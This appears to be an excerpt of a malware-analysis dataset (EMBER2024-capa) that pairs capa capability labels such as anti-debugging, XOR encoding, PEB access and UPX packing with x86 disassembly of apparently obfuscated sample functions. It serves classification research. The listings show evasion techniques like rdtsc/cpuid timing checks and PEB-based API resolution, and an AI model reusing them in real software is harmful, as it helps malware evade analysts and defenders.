joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13ce59c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dl, bl
mov cx, word [esp]
mov ebx, ebp
mov ch, byte [esp]
bswap eax
rdtsc
jmp 0x13ce5ff
mov edi, esp
neg cx
je 0x13ce56c
mov dl, bl
jmp 0x13ce63f
sub esp, 0xbc
jmp 0x13ce582
dec ebp
mov edx, 0x99f7cf73
xchg cx, ax
lea eax, [edi*4]
inc dx
jmp 0x13ce622
rol ch, cl
bsf dx, cx
mov cl, 0xe
jmp 0x13ce5e9
mov edx, esp
mov cx, si
jmp 0x13ce5a4
lea ecx, [ecx*4]
mov ecx, 0x551feba2
rol ch, cl
bsf dx, cx
mov cl, 0xe
jmp 0x13ce60c
rol ax, 4
jg 0x13ce5ce
mov edx, esp
mov cx, si
jmp 0x13ce5a4
inc ebp
mov cl, byte [esp]
rdtsc
lea eax, [ebp*4]
jmp 0x13ce648
jae 0x13ce5d5
lea ecx, [ecx*4]
mov ecx, 0x551feba2
jmp 0x13ce5b8
mov cx, word [esp]
jmp 0x13ce572
dec ebp
sub esp, 4
jmp 0x13ce9ac
mov al, byte [esp + 2]
neg ecx
pushal
lea edx, [eax*4]
jmp 0x13ce6be
not ax
xor ebp, 0x9f92f9e
mov edx, ebx
inc cx
jo 0x13ce67d
mov dx, 0xee53
bt edx, ecx
jmp 0x13ce74b
lea esp, [esp + 0x24]
not ebp
xchg dh, cl
lea ecx, [ebp*4]
lea edx, [eax + esi]
jmp 0x13ce693
pushal
lea edx, [eax*4]
jmp 0x13ce6be
js 0x13ce652
mov al, byte [esp + 2]
neg ecx
jmp 0x13ce7f0

Function at 0x13d0b41
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
mov bx, si
rdtsc
add cx, bp
mov di, 0x1f7e
jmp 0x13d0ad4
xchg dword [esp], ebp
dec dl
lea edx, [eax*4]
bswap edi
setno dl
lea ebp, reloc.kernel32.dll_GetProcAddress
jmp 0x13d0a8f
push dword [esp + 8]
ret 0xc
xchg dword [esp], ebp
cmc
mov dl, bl
mov ch, byte [esp]
sub esp, 9
lea esp, [esp + 1]
jmp 0x13d0abe
mov edx, dword [esp]
xchg dx, ax
mov bh, ah
mov bh, 0xbf
bswap eax
jmp 0x13d0aa5

Function at 0x13d2adb
Capabilities:
Encode data using xor

Disassembly:
mov ah, byte [esp + 2]
jmp 0x13d2af3
jmp 0x13d2ac5
mov dl, cl
pushal
mov ah, byte [esp + 0x1c]
lea eax, [esi*4]
jmp 0x13d2b3f
add cl, bl
mov dh, 0xd3
mov al, 0x19
mov ax, sp
jmp 0x13d2add
mov al, 0xa2
mov ax, di
lea esp, [esp + 0x20]
xor dl, 0x91
lea eax, [esp + 0xd]
call fcn.013d2b29
jl 0x13d2b41
jnp 0x13d2b76
in eax, dx
pop ebx
xchg edx, eax
or al, 0x82
in eax, 0x14
xlatb
sbb dword [eax - 9], edi
shl byte [esi + 0xf], cl
mov ebp, 0x66a27bd4
not edx
jmp 0x13d2b8c
rol dl, 0
jno 0x13d2bab
mov al, dh
jmp 0x13d2c81
mov al, dh
call 0x13d2bd3
xchg esp, eax
adc eax, 0xae1fec85
push es
xchg byte [ebx + esi*2], dl
invalid
lea eax, [ebx*4]
call fcn.013d2d01
cmp al, 0xb4
sub cl, byte [ebp - 0x44]
or esp, dword [ecx]
pushal
mov dword [reloc.kernel32.dll_GetProcAddress], eax
setne ah
sub esp, 0xc
push ebp
jmp 0x13d2c6b
Function at 0x13d2c8a
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc eax
bswap eax
bsf eax, ecx
rol al, cl
rcr eax, cl
jmp 0x13d2cb8
xchg dword [esp], eax
sub esp, 0xf
add esp, 0
pop dword [esp + 6]
push word [esp + 4]
jmp 0x13d2e63
mov word [esp + 7], cx
lea esp, [esp + 1]
lea eax, [eax + 0xa6]
call fcn.013d2e0d
lea edx, [esi + ebp]
stc
or dh, bl
mov ax, word [esp]
or edx, 0xdfb51f1c
jmp 0x13d2e9a
xchg al, dl
jmp 0x13d2ee8
pushal
jmp 0x13d2f0b
sub cl, 0xa2
cmc
je 0x13d2ed2
pushal
mov ax, 0x5113
jmp 0x13d2f0f
mov edx, ebp
rdtsc
bsr ax, bx
mov edx, esi
mov eax, esi
mov dl, al
jmp 0x13d2f25
mov ax, 0x5113
lea esp, [esp + 0x20]
xor cl, 0
bsf eax, ecx
jmp 0x13d2f41
bsr ax, bx
mov edx, esi
mov eax, esi
jmp 0x13d2f01
xchg dx, ax
lea eax, reloc.kernel32.dll_GetProcAddress
jmp 0x13d2f5f
jbe 0x13d2ef5
mov edx, ebp
rdtsc
jmp 0x13d2f1b
lea eax, reloc.kernel32.dll_GetProcAddress
lea edx, [ebx + 0xff]
bswap eax
neg edx
jmp 0x13d2fd7
rol cl, 0
jp 0x13d2f49
lea eax, reloc.kernel32.dll_GetProcAddress
jmp 0x13d3067
lea edx, reloc.kernel32.dll_GetProcAddress
bswap eax
lea eax, [edx*4]
jmp 0x13d2fb7
jmp 0x13d2f89
push ax
not eax
mov byte [esp], al
lea esp, [esp + 2]
jmp 0x13d3027
bsr edx, ecx
lea edx, [ebp*4]
add cl, 0x30
jmp 0x13d2fa1
bsf edx, ebp
xor cl, 0xc3
neg edx
jl 0x13d2f9f
lea edx, reloc.kernel32.dll_GetProcAddress
bswap eax
lea eax, [edx*4]
bsr edx, ecx
lea edx, [ebp*4]
jmp 0x13d2fc1
mov dword [esp + 0x1c], ecx
jmp 0x13d3047
mov dword [esp + 0x1c], ecx
mov dx, word [esp]
sub esp, 0x1f
lea esp, [esp + 3]
lea esp, [esp + 0x1c]
jmp 0x13d3035
pushal
mov esi, ecx
neg bx
jo 0x13d2ffc
jno 0x13d3006
lea esp, [esp + 0x1c]
popal
lea edx, [ebx + edi]
jmp 0x13d31a3
mov dx, word [esp]
sub esp, 0x1f
lea esp, [esp + 3]
jmp 0x13d3031
lea edx, [ebx + 0xff]
bswap eax
neg edx
bsf edx, ebp
jmp 0x13d2fda

Function at 0x13f3823
Capabilities:
Encode data using xor

Disassembly:
and eax, edx
lea esp, [esp + 4]
dec edi
stc
call fcn.013f3791
jmp 0x13f37f4
Function at 0x140dafb
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
cmp dword [ebp - 4], ebx
jmp 0x140db8f
pushal
mov dword [esp + 0x1c], ebp
popal
lea eax, [eax - 8]
jmp 0x140d66f
mov edi, dword [eax]
pop eax
jmp 0x140d5d4
push eax
jmp 0x140d660
in eax, dx
cld
iretd
cmp dword [ebp - 4], ebx
jle 0x140d6ca
jmp 0x140d690
sub esp, 0xa
rdtsc
xchg word [esp + 6], di
lea esp, [esp + 2]
jmp 0x140dae7
inc edi
call fcn.0140dc20
xchg ecx, eax
adc byte [ebx - 0x3e1dcf6], dl
mov dword [eax], eax
daa
out dx, al
inc ebx
jno 0x140d6a0
aam 0x47
jmp 0x140d9b6
mov dword [ecx], edi
pop ecx
jmp 0x140d9d7
pushal
mov dword [esp + 0x18], ebp
popal
lea ecx, [ecx - 8]
jmp 0x140d981
mov byte [esp], al
lea esp, [esp + 4]
dec ebx
push ecx
jmp 0x140d997
js 0x140d5d4
jns 0x140d6ca
xchg byte [eax], dl
xchg cl, ah
adc byte [ebp + ecx - 0x76091064], ah
inc ebp
in al, dx
mov dword [ebp - 0x14], eax
push di
mov word [esp], si
lea esp, [esp + 2]
jmp 0x140d9c1
mov edi, eax
rdtsc
push edi
jmp 0x140da46
mov edx, edi
shr dx, cl
sar edi, 1
mov edx, edi
mov dl, al
jmp 0x140da30
mov edi, dword [esp]
lea esp, [esp + 8]
cdq
sub eax, edx
jmp 0x140d9ff
mov edx, dword [eax + edi*4]
mov ax, word [esp]
mov ax, word [esp]
bsf ax, cx
jmp 0x140da6c
mov edi, ebp
add edi, 0xfffffff0
mov eax, dword [edi]
pop edi
mov dl, 0x48
jmp 0x140da06
add edx, dword [ebp + 8]
not eax
mov ax, 0xb2f4
mov eax, dword [ebp + 0xc]
call 0x140da55
jne 0x140d62f
sub esp, 3
lea esp, [esp + 1]
xchg cl, ch
jmp 0x140daa4
lea esp, [esp + 2]
jmp 0x140dacb
mov eax, dword [edi]
pop edi
and dh, 0x2d
add eax, ebx
lea edx, [eax + 0x16]
jmp 0x140da24
mov eax, dword [ebp - 8]
movzx eax, word [eax + edi*2]
mov ch, byte [esp]
bsr cx, bx
jmp 0x140daf2
push edi
mov edi, ebp
add edi, 0xfffffffc
jmp 0x140dabb
mov ecx, dword [ebp - 0x14]
call 0x140dafb
fisttp word [ebx - 0x4a167efc]
add dword [eax], eax
add byte [esi], ah
push ecx
rcl byte [ebx - 0x60]
add cl, dl
mov esp, 0x9548a0ab
dec edx
retf 0x9465
je 0x140d690
jne 0x140dbcc
sub byte [ebx - 0x1e], cl
sbb eax, 0xfd0510cf
jmp 0xdf5ca5c6
lea ebx, [edi - 1]
jmp 0x140d6a6
test eax, eax
jle 0x140d6e7
sets bl
jmp 0x140dbb6

Function at 0x140dc20
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 8]
jmp 0x140d6a6
mov ebx, ebp
lea ebx, [ebx - 4]
mov dword [ebx], edi
pop ebx
jmp 0x140dbd9
push eax
push ebx
jmp 0x140dbef
Function at 0x14245ea
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop esi
shr esi, 0x14
mov dword [ebp - 8], eax
lea esp, [esp + 8]
jmp 0x142428e
lea esp, [esp + 0x28]
popal
add esi, 0x10
mov edi, dword [esi]
jmp 0x14244ff
Function at 0x1477a25
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edx, reloc.kernel32.dll_GetProcAddress
sub esp, 0x13
popal
jmp 0x1477ab4
xchg cx, bp
lea esi, [edi + ebp]
lea edx, [ebx*4]
xchg bp, bx
jmp 0x1477a96
mov bl, 0xc4
not esi
std
sub esp, 0x15
mov ebx, dword [esp + 3]
xchg cx, di
jmp 0x1477a56
mov cl, 5
pop esi
pop dword [esp + 5]
mov word [esp + 4], bp
mov cl, byte [esp + 5]
jmp 0x1477ac4
xchg dword [esp + 1], ecx
mov bh, 0xb9
rcr ebx, 0x1a
mov cl, bh
add esp, 2
mov ecx, 0x90fc70cb
jmp 0x1477a80
setge dl
bt si, cx
xchg bh, dl
pop edi
bswap eax
rdtsc
jmp 0x1477a6f
rdtsc
mov bp, word [esp + 0xa]
mov ecx, 0xc37143d6
mov word [esp + 4], dx
dec ax
mov dword [esp + 5], esp
jmp 0x1478115
lea eax, [esi*4]
mov ax, word [esp]
mov ah, 0x15
jmp 0x1477b19
xchg byte [esp], bl
rdtsc
lea esi, [ecx + ebp]
mov ebp, dword [esp]
mov di, sp
cpuid
jmp 0x1477af1
mov bp, 0x156a
bswap ebx
mov bh, byte [esp]
mov bp, 0x9ceb
xchg byte [esp], dh
dec dl
jmp 0x1477b58
mov bh, 0x94
mov word [esp + 2], bp
setno cl
mov ah, dh
mov bl, byte [esp + 4]
jmp 0x1477b9d
mov edx, dword [esp]
mov ebx, 0x35774f0f
lea esp, [esp]
dec edi
not bh
mov di, 0x2964
jmp 0x1477b07
btc cx, ax
rdtsc
cmc
xchg di, dx
add esp, 0
pushfd
jmp 0x1477b2d
mov eax, ecx
setne dl
neg ebp
lea esi, [esi*4]
xchg edx, esi
mov bx, word [esp]
jmp 0x1477b44
mov dword [esp], esi
lea eax, [esp + ebx]
add esp, 0
lea eax, [ecx + edx]
push edi
jmp 0x1477bc9
bsr si, bx
xchg byte [esp], ah
mov word [esp + 2], ax
xchg cl, bl
setg cl
neg si
jmp 0x1477b86
mov di, word [esp + 4]
pushfd
push dword [esp + 5]
mov bh, 0x10
jmp 0x1477bff
cmp bx, 0xbd45
xchg word [esp + 3], si
mov bx, 0xa5e8
xchg word [esp + 4], bx
jmp 0x1477bb3
pop word [esp + 0x19]
mov word [esp + 9], si
xchg word [esp + 5], si
xchg bh, al
add esp, 0x2a
mov dh, 0x24
jmp 0x1477b70
push word [esp + 0xf]
xchg dword [esp + 3], ebx
mov bh, 0x92
xchg dword [esp + 4], ebx
mov edx, dword [esp + 0xa]
dec ebp
jmp 0x1477c50
mov ah, 0x2e
ror cx, 0xd
mov byte [esp + 0x18], bl
mov si, word [esp + 0x29]
neg bl
mov ebx, edx
jmp 0x1477be4
mov bh, byte [esp + 0xb]
bsr ebx, esp
lea ecx, [ecx + ebp]
rdtsc
adc cx, 0xfa7f
call fcn.01477c38
dec dh
neg bp
mov ebp, 0x32d9d374
mov bp, word [esp + 0xc]
pushal
jmp 0x1477cca
xchg ebx, edi
xchg ch, al
cmp esi, 0x460edc65
neg cx
mov word [esp + 1], bx
mov dl, 0x1e
jmp 0x1477cdb
push dword [esp + 0x26]
mov dl, 0xff
pop dx
setb ch
clc
seto ch
jmp 0x1477caa
xchg byte [esp + 1], ah
xchg byte [esp + 0x29], cl
mov si, word [esp + 0x28]
mov ebp, eax
push dword [esp + 0x1a]
mov di, bx
jmp 0x1478074
lea ebp, [edx*4]
sub esp, 0x1e
pop word [esp + 0x13]
sub esp, 3
mov ebx, esi
push word [esp + 0x29]
jmp 0x1477c23
neg edx
not si
rcr ah, cl
pop dword [esp + 0x2a]
lea ebp, [edi + 0xb6]
call fcn.01477d42
mov word [esp], bx
sub esp, 0x16
call fcn.014780c6
xor eax, 0xb14227b7
push ecx
sub al, byte [ebp - 0xc]
out 0x83, eax
les ecx, [0xd366d2f7]
invalid
mov byte [esp + 5], bh
mov ch, 0xb2
cpuid
mov ebx, dword [esp + 2]
ror eax, 8
lea edi, [edx - 0xd8]
jmp 0x1477cff
Function at 0x1477d42
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ebp, 0x89905e5a
clc
mov cl, byte [esp + 5]
xchg bp, ax
add esp, 0x20
pop word [esp + 9]
jmp 0x1477efa
cld
jmp 0x1477d1d
sub esp, 3
rdtsc
xchg dword [esp + 0xa], ebx
mov bl, 0x15
xchg bp, di
jmp 0x1477d9b
lea ebp, reloc.kernel32.dll_GetProcAddress
push word [esp + 0x1b]
xchg ecx, edx
add esp, 0
xchg byte [esp + 6], bh
mov dword [esp + 0xd], esi
jmp 0x1477d45
bsf ecx, ebx
mov cl, 0xc8
lea eax, [edi*4]
setbe ah
neg edx
not bx
jmp 0x1477d5b
lea esp, [esp + 0x21]
mov bx, 0x99e0
rdtsc
clc
sub esi, 0xaf38ed69
btc edx, ecx
jmp 0x1477de3
mov word [esp + 2], di
bswap esi
sub esp, 0xd
xchg di, ax
xchg word [esp + 0x1b], cx
inc edx
jmp 0x1477d85
lea edi, reloc.kernel32.dll_GetProcAddress
lea eax, reloc.kernel32.dll_GetProcAddress
setl ah
jmp 0x1477df9
mov cl, 0xae
mov ebx, 0x55dc2bee
lea esi, [esi + edi]
mov ax, 0x6b37
neg cx
add esp, 0
jmp 0x1477dcd
sub esp, 0
xchg bh, ah
mov eax, ecx
mov ah, ch
rdtsc
bswap ecx
jmp 0x1477e0c
lea esi, [ecx + edx]
mov cx, word [esp + 1]
xchg si, di
lea ebx, [edx + 0x80]
jmp 0x1477e83
neg cl
xchg edx, ebx
bts cx, di
bsf bx, cx
mov ebp, 0x24c7315
mov eax, 0x72487074
jmp 0x1477db8
sub esp, 9
xchg edi, ecx
bswap ebx
push cx
lea ecx, [esp + edx]
rcr si, cl
jmp 0x1477e6b
cpuid
mov si, dx
mov word [esp], di
rdtsc
mov bh, byte [esp]
lea ecx, [ebp*4]
jmp 0x1477e3e
lea esp, [esp]
mov esi, 0x7569d954
bsr bp, di
xchg ch, bh
sbb dh, cl
jmp 0x1477eb3
sub ax, 0xf524
mov bp, si
sete ah
sub si, ax
clc
add esp, 0
jmp 0x1477e54
cld
setle al
lea esi, [edi + 0x9d]
mov ecx, esp
mov cl, byte [esp + 9]
mov byte [esp + 4], dh
jmp 0x1477ee2
xchg word [esp + 7], dx
xchg ecx, eax
mov byte [esp], dl
mov si, 0xd5ca
mov dword [esp + 2], ebp
mov di, word [esp + 4]
jmp 0x1477e96
mov dword [esp + 3], esp
xchg dword [esp], ebx
lea edi, [ecx + ebp]
add bp, bx
cpuid
jmp 0x1477ff7
mov dword [esp + 2], edi
pop dword [esp + 2]
xchg edi, ecx
mov byte [esp + 4], cl
inc cx
jmp 0x1477ecc
mov byte [esp + 4], dh
xchg word [esp + 8], di
mov byte [esp + 8], bh
setge dl
bts si, sp
cld
jmp 0x1477e23
mov ebx, esp
cmc
xchg byte [esp + 7], bl
not al
call fcn.01477f2a
btr bx, ax
neg cx
lea edi, reloc.kernel32.dll_GetProcAddress
push bx
pop word [esp]
bswap ebp
jmp 0x1477f69

Function at 0x1477f77
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dl, 0x76
push word [esp + 6]
btr ebx, eax
jmp 0x1477fb8
setp ah
rdtsc
cpuid
rdtsc
pop bp
pop ebx
jmp 0x1477fce
std
push dword [esp + 0x11]
xchg al, ah
mov word [esp + 8], bx
clc
lea esi, [ecx*4]
jmp 0x1477f9d
pop dword [esp + 4]
mov byte [esp + 0xd], bl
sub si, 0xb2ec
xchg dword [esp + 0xa], ebx
bsf eax, edx
sub esp, 0
jmp 0x1478027
not cl
mov ax, cx
mov ecx, esi
rdtsc
mov dword [esp + 9], edi
rdtsc
call fcn.01478052
xchg edi, eax
mov edx, esi
std
xchg byte [esp + 0xc], ch
mov word [esp + 8], si
xchg di, si
mov dword [esp + 8], esp
jmp 0x1478011
Function at 0x14781e5
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap ecx
bswap eax
xchg edi, eax
bswap ebp
neg ebx
mov di, bp
jmp 0x147820c
cpuid
pop di
jmp 0x14781cf
inc eax
push esp
xchg ch, dh
bsf si, sp
bts ebx, esp
add esp, 4
jmp 0x1478261
xchg dword [esp + 7], ebp
xchg word [esp + 0x1c], dx
rol ebp, cl
lea esi, reloc.kernel32.dll_GetProcAddress
lea ebp, [edi + 0x2c]
add esp, 0x26
jmp 0x14781eb
add di, 0x9d1c
neg cx
bt ecx, esp
mov cx, word [esp]
sub esp, 0xd
push dword [esp + 9]
jmp 0x147824b

Function at 0x14782cb
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea ecx, [ebx*4]
jmp 0x14782f8

Function at 0x147842a
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg ah
push word [esp + 0xf]
mov ax, 0xfa6b
btc ecx, eax
push ax
jmp 0x147842c
jmp 0x1478414
rdtsc
pop dword [esp + 8]
xchg cl, ch
lea esp, [esp + 6]
xchg word [esp + 6], bp
mov edi, dword [esp + 4]
jmp 0x147847b
or ebp, 0xfed04266
btc di, bp
xchg bh, ch
ror ecx, 0x13
jmp 0x147882a
push bx
mov edi, dword [esp + 0xe]
bsr cx, sp
lea edi, reloc.kernel32.dll_GetProcAddress
lea esp, [esp + 0x12]
add esp, 0
jmp 0x1478465
not di
rdtsc
lea edi, [edi*4]
neg bh
stc
jmp 0x14784f6
mov bp, si
mov eax, dword [esp]
bts esi, edi
std
lea esp, [esp + 1]
mov word [esp], bx
jmp 0x14784b4
cld
rdtsc
mov edx, ebx
mov al, bl
xchg byte [esp], bh
push sp
jmp 0x14784ca
cpuid
sub esp, 0x10
mov ecx, edx
pop dword [esp]
cmc
xchg dword [esp + 4], eax
jmp 0x1478543
cld
lea esp, [esp]
lea eax, reloc.kernel32.dll_GetProcAddress
mov edx, 0x80a733fe
mov ebx, eax
not dx
jmp 0x14784e8
cmp ebp, ecx
lea esi, [ebp*4]
lea ebx, reloc.kernel32.dll_GetProcAddress
jmp 0x147855a
xchg byte [esp + 0xb], al
xchg ecx, eax
pop di
xchg word [esp + 1], dx
lea esi, [esi + 0xa7]
mov bp, di
jmp 0x147852d
cpuid
bswap ebp
mov dword [esp + 5], ecx
pop esi
cpuid
bsr bp, dx
jmp 0x14785f1
inc eax
mov ecx, dword [esp]
xchg cx, bx
mov edx, 0x653ada5e
mov byte [esp], ch
inc eax
jmp 0x1478517
lea esi, [ecx + ebx]
mov ch, byte [esp + 1]
call fcn.01478582
mov si, bp
mov bx, word [esp + 4]
mov di, word [esp + 2]
mov di, 0x6a
xchg bh, cl
xchg cx, bx
jmp 0x147859a
mov ah, 0x83
mov ch, byte [esp]
not cx
mov edi, 0x8c0b8051
xchg bp, ax
cpuid
jmp 0x1478570
Function at 0x1479370
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x14793ac
mov cl, bh
xchg ebx, esi
stc
cmp ebx, esp
bswap eax
push word [esp + 2]
jmp 0x14793d5
mov eax, dword [esp]
and di, ax
pop edx
setp al
push esp
mov ebx, 0xdc1e9e2b
jmp 0x1479372
mov eax, dword [esp + 7]
setnp ch
not edx
mov ecx, 0x1ff2b3cb
push edx
xchg di, cx
jmp 0x14794c1
add esp, 0xb
cld
bswap ebx
xchg dh, ch
bsr edx, esp
neg bh
jmp 0x14794e8
xchg cl, dh
mov ax, word [esp + 7]
ror si, cl
pop eax
mov dl, byte [esp + 0xb]
mov si, word [esp + 1]
jmp 0x1479484
mov dword [esp + 4], ebp
mov bl, 0x41
rdtsc
sub esp, 0x12
neg ebx
inc ch
jmp 0x147949a
ror bl, cl
not dx
rol edx, cl
mov ch, 0x71
pop word [esp + 2]
jmp 0x147953f
setbe dl
push word [esp + 0xd]
sub esp, 0x11
pop word [esp + 5]
bsf bp, bx
push word [esp + 0x1d]
jmp 0x14794d2
lea esi, [esp + edi]
dec dx
neg dl
pop word [esp + 4]
mov cl, 0x8f
jmp 0x147956b
mov ch, byte [esp + 0x10]
pop esi
clc
mov edi, 0xe55df909
push dword [esp + 5]
push word [esp + 5]
jmp 0x1479529
mov byte [esp + 7], al
mov esi, dword [esp + 0x18]
popal
mov bh, byte [esp]
sub esp, 0x16
jmp 0x147966d
push dword [esp + 0xa]
mov di, word [esp + 0x1b]
cpuid
pop dword [esp + 5]
add di, bx
mov dh, dl
jmp 0x1479555
bts bp, bx
mov edx, esp
mov dh, 0x57
not eax
mov dword [esp], esp
rdtsc
jmp 0x14795ce
pop edx
push ecx
add cl, ch
pop edx
xchg dword [esp], esi
lea edi, [edx*4]
jmp 0x1479591
bsr edx, edx
xchg dword [esp], ecx
bswap edi
add esp, 0
xchg di, cx
jmp 0x14795e4
mov esi, dword [esp + 2]
mov byte [esp], dl
lea esp, [esp + 1]
rdtsc
xchg byte [esp + 3], cl
lea esp, [esp]
jmp 0x14795b8
lea ebx, [esp + 0x31]
mov esi, 0xa2b9b344
call fcn.0147960b
ret 0xcf5f
mov bx, cx
pushfd
neg edi
bsr eax, ebx
mov byte [esp + 6], cl
mov ecx, ebp
jmp 0x14795a7
xchg ch, ah
pop ebp
btr ebx, edi
pop ecx
neg ebp
bsr ebx, ebx
jmp 0x14795fa
sbb ebx, ecx
bswap eax
pop edx
mov byte [esp + 3], bl
bsr ebp, ebx
add esp, 3
jmp 0x147962c

Function at 0x147967e
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov al, 0x7a
jmp 0x14797e0
lea esp, [esp]
cld
push word [esp + 1]
pushal
shr esi, cl
stc
jmp 0x14796b2
mov dl, byte [esp + 9]
sbb cx, sp
not ebp
add esp, 0xe
cmc
mov ah, 0xbf
jmp 0x14796c8
lea ebp, [esi + ebp]
pop word [esp + 0xb]
mov di, ax
pop dword [esp + 2]
cpuid
xchg word [esp], bp
jmp 0x14796e8

Function at 0x1479b8a
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edi, esi
xor edi, ebx
mov word [esp], sp
cpuid
xchg byte [esp + 1], cl
mov ah, byte [esp + 2]
jmp 0x1479b1b
mov ah, 0xb6
pop word [esp]
lea ebp, [eax + eax]
std
mov ecx, edx
jmp 0x1479b3d

Function at 0x1479f66
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 4]
lea eax, [ebx + edi]
rdtsc
rdtsc
call fcn.01479f0d
inc ebp
hlt
lea eax, [esp - 0x7e]
rdtsc
mov byte [esp + 9], cl
clc
lea esi, [esi - 0x26]
add esp, 2
jmp 0x1479ea4
xchg byte [esp + 5], ch
mov ax, 0x4b88
mov bx, 0x1fa7
mov di, 0xd692
bswap edx
mov ebp, dword [esp + 7]
jmp 0x1479eba
cmc
setle cl
jmp 0x1479ed8
Function at 0x147a227
Capabilities:
Access peb ldr_data

Disassembly:
call fcn.014791e5
jmp 0x147a26d
lea esp, [esp + 2]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], ebp
push bp
jmp 0x147a298
pushal
mov dword [esp + 0x13], ebp
pushfd
push word [esp + 0x1a]
pop dword [esp + 0xf]
mov dword [esp + 0x17], esi
jmp 0x147a246
lea esp, [esp + 0x14]
jmp 0x147a3f3
pushfd
lea esp, [esp + 2]
mov dword [esp + 0x14], esi
pushfd
mov dword [esp], edi
mov dword [esp + 0x14], edi
jmp 0x147a282
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x14791e0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x147a39d
Function at 0x421960
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1e000]
push edi
or ebp, 0xffffffff
jmp 0x421982
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x421989
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421978
mov eax, 1
add ebx, ebx
jne 0x42199b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x421990
jne 0x4219ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421990
xor ecx, ecx
sub eax, 3
jb 0x4219c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x421a32
mov ebp, eax
add ebx, ebx
jne 0x4219cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4219d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4219fc
inc ecx
add ebx, ebx
jne 0x4219e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4219dd
jne 0x4219f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4219dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x421a1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x421a0d
jmp 0x42197e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x421a1c
add edi, ecx
jmp 0x42197e
pop esi
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x421a7b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x211dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2122c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x421a39
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x21234]
or eax, eax
je 0x421a75
mov dword [ebx], eax
add ebx, 4
jmp 0x421a56
call dword [esi + 0x21230]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x421aac
cmp al, 0xef
ja 0x421a9f
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x421a81
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x421a8e
mov ebp, dword [esi + 0x21238]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x421ae0
sub esp, 0xffffff80
jmp 0x411023
Function at 0x100024be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x100024cd
pop dword [ebp - 0x4c]
mov eax, 0x100024cd
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x49a65e5e
sub dword [ebp - 0x5c], 0xfb541913
mov dword [ebp - 0x58], 0x57f88711
add dword [ebp - 0x58], 0xda3ac534
mov dword [ebp - 0x54], 0x77bdc766
sub dword [ebp - 0x54], 0x2b718338
mov dword [ebp - 0x50], 0xa12d42d5
sub dword [ebp - 0x50], 0xa12d42d5
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xb433d4c2
sub eax, 0xa433446a
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xecc11875
add dword [ebp - 0x5c], 0x87b150e1
mov dword [ebp - 0x58], 0xb4df4e38
add dword [ebp - 0x58], 0x8c8d133d
mov dword [ebp - 0x54], 0x41568892
add dword [ebp - 0x54], 0x2218e3da
mov dword [ebp - 0x50], 0xe308c050
add dword [ebp - 0x50], 0x1cf73fb0
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xa34c32fd
add eax, 0x6cb45d03
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x379ac
push 0
call eax
mov ecx, 0x828967c6
add ecx, 0x7d76e223
mov edi, eax
mov ebx, 0x22737a99
add ebx, 0xed8d6d67
